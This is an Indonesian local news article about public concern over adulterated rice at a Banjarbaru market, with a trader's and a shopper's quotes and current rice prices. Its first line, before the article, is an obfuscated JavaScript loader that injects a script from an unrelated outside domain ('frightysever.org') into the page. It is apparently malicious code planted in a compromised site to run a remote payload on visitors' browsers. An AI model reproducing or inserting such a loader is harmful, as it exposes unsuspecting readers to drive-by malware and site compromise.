(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Isu beras oplosan belakangan ramai diperbincangkan di masyarakat.
Meski belum didapati beredar di Kalimantan Selatan, khususnya di Banjarbaru fenomena pengoplosan ini menimbulkan keresahan masyarakat.
Di Pasar Bauntung Banjarbaru, seorang pedagang beras bernama Muhammad Zuhdiannor mengaku pernah menerima keluhan dari konsumen.
Baca juga: Kirim Paket MBG ke Empat Sekolah, SPPG Yayasan Indonesia Emas Sampurna Uji Coba Perdana
“Ada terkadang yang bertanya beras ini oploasan,
tetapi kata kami tidak,” ujar pedagang beras di Pasar Bauntung Banjarbaru, Muhammad Zuhdiannor, Kamis (25/7/2025).
Ia mengaku tidak menjual jenis beras yang diduga dioplos itu. Pedagang hanya menjual beras jawa dengan merk seperti Lapoijo ukuran 5 kilogram dengan harga Rp81 ribu dan Rp13 ribu per liternya. Ada pula merk Lahap dan Jediar.
Zuhdi mengaku belum menemukan beras oplosan yang dimaksud dijual di pasar.
Baca juga: Menunggu Rilis 21 Prioritas 100 Hari Kerja Wali Kota Banjarbaru Lisa Halaby
“Adanya kabar beras oplosan, Alhamdulillah belum sampai ke kami, karena kami tidak ada menjual merk yang diduga dioplos itu,” sebutnya.
Adapun harga beras lokal saat ini tidak ada kenaikan, seperti beras mayang dihargai Rp14.500 per liter, unus Rp12.500 per liter, mutiara Rp14.000 per liter, dan ciherang Rp10.000 per liter.
Zuhdi menyebut cara membedakan antara beras yang baik dan kurang baik yaitu melihat kualitas patahnya.
Baca juga: Coaching Clinic 1 Implementasi Strategi Sanitasi Kabupaten 2025 untuk Tanahlaut dan Batola
“Seperti merk Lapoijo itu berasnya kada tapi patah, biasanya kalau agak murah patah,” ungkap Zuhdi.
“Oplosan memang tidak memang sekilas tidak kelihatan, karena oplosan hampir sama kondisinya seperti beras yang kurang bagus,” tuntasnya.
Aisyah, salah satu konsumen beras Jawa di Pasar Bauntung Banjarbaru mengaku tidak memiliki kekhawatiran saat membeli beras dari Jawa.
Baca juga: Resmi Dibuka, Audisi Hafiz Indonesia 2026 Mencari Penghafal Al-Qur’an Cilik Berbakat!
“Biasa belinya di pasar sama eceran, tetapi kurang lebih sama aja harganya, gak ada kekhawatiran beli beras Jawa ini di tengah maraknya kabar beras oplosan dijual ini,” ujar Aisyah.
“Tadi beli Rp81 ribu, biasa beli di sini,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
This website uses cookies.